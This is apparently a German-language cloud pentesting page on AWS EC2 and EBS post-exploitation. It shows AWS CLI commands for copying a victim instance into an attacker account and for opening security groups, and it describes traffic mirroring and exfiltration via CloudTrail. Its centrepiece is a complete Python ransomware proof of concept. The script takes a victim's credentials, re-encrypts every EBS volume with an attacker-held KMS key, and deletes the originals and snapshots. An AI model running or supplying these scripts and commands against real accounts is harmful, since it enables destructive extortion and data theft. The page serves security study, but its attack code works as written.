VPC-Traffic-Mirroring dupliziert eingehenden und ausgehenden Traffic für EC2-Instanzen innerhalb eines VPC, ohne dass etwas auf den Instanzen selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein Netzwerk-Einbruchserkennungssystem (IDS) zur Analyse und Überwachung gesendet.
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic zu erfassen und sensible Informationen daraus zu gewinnen:
Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, hineinzukommen (siehe EC2 Privilege Escalation Tricks). Eine andere Möglichkeit, den Inhalt zu überprüfen, besteht jedoch darin, ein AMI zu erstellen und eine neue Instanz (auch in deinem eigenen Konto) daraus zu starten:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots sind Sicherungen von Volumes, die normalerweise sensible Informationen enthalten, daher sollte deren Überprüfung diese Informationen offenlegen.
Wenn Sie ein Volume ohne Snapshot finden, könnten Sie: Einen Snapshot erstellen und die folgenden Aktionen durchführen oder es einfach in einer Instanz innerhalb des Kontos einbinden:
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
Offene Security Group
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, um dann die Daten der ECS-Instanzen zu stehlen.
Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS für Ransomware Management Service umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
Zuerst erstellt man von einem 'Angreifer'-AWS-Konto aus einen vom Kunden verwalteten Schlüssel in KMS. In diesem Beispiel lassen wir AWS die Schlüsseldaten für uns verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um jedem AWS-Konto-Prinzipal die Verwendung des Schlüssels zu erlauben. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die den gesamten Zugriff erlaubt, heißt 'Outside Encryption'.
Die Schlüsselrichtlinie muss die folgenden Berechtigungen aktiviert haben, um sie zur Verschlüsselung eines EBS-Volumes verwenden zu können:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Nun mit dem öffentlich zugänglichen Schlüssel zur Verwendung. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff geht von einem kompromittierten hochprivilegierten AWS-Konto aus.
Pasted image 20231231172655
Pasted image 20231231172734
Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verfügbar bleiben.
Pasted image 20231231173338
Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt weg.
Pasted image 20231231173931
Als nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die 'Outside Encryption'-Richtlinienregel aus der Schlüsselrichtlinie.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Warten Sie einen Moment, bis die neu gesetzte Schlüsselrichtlinie propagiert wird. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird sie einfach fehlschlagen und vom 'pending'-Zustand wieder in den 'stopped'-Zustand zurückkehren, da das angehängte EBS-Volume nicht mit dem Schlüssel entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.
Dies ist das verwendete Python-Skript. Es nimmt AWS-Creds für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instanzen im Ziel-AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im Ziel-'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE URSPRÜNGLICHEN EBS-VOLUMES LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte Sie nur darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Ähnlich wie beim S3-Ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht schließlich die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.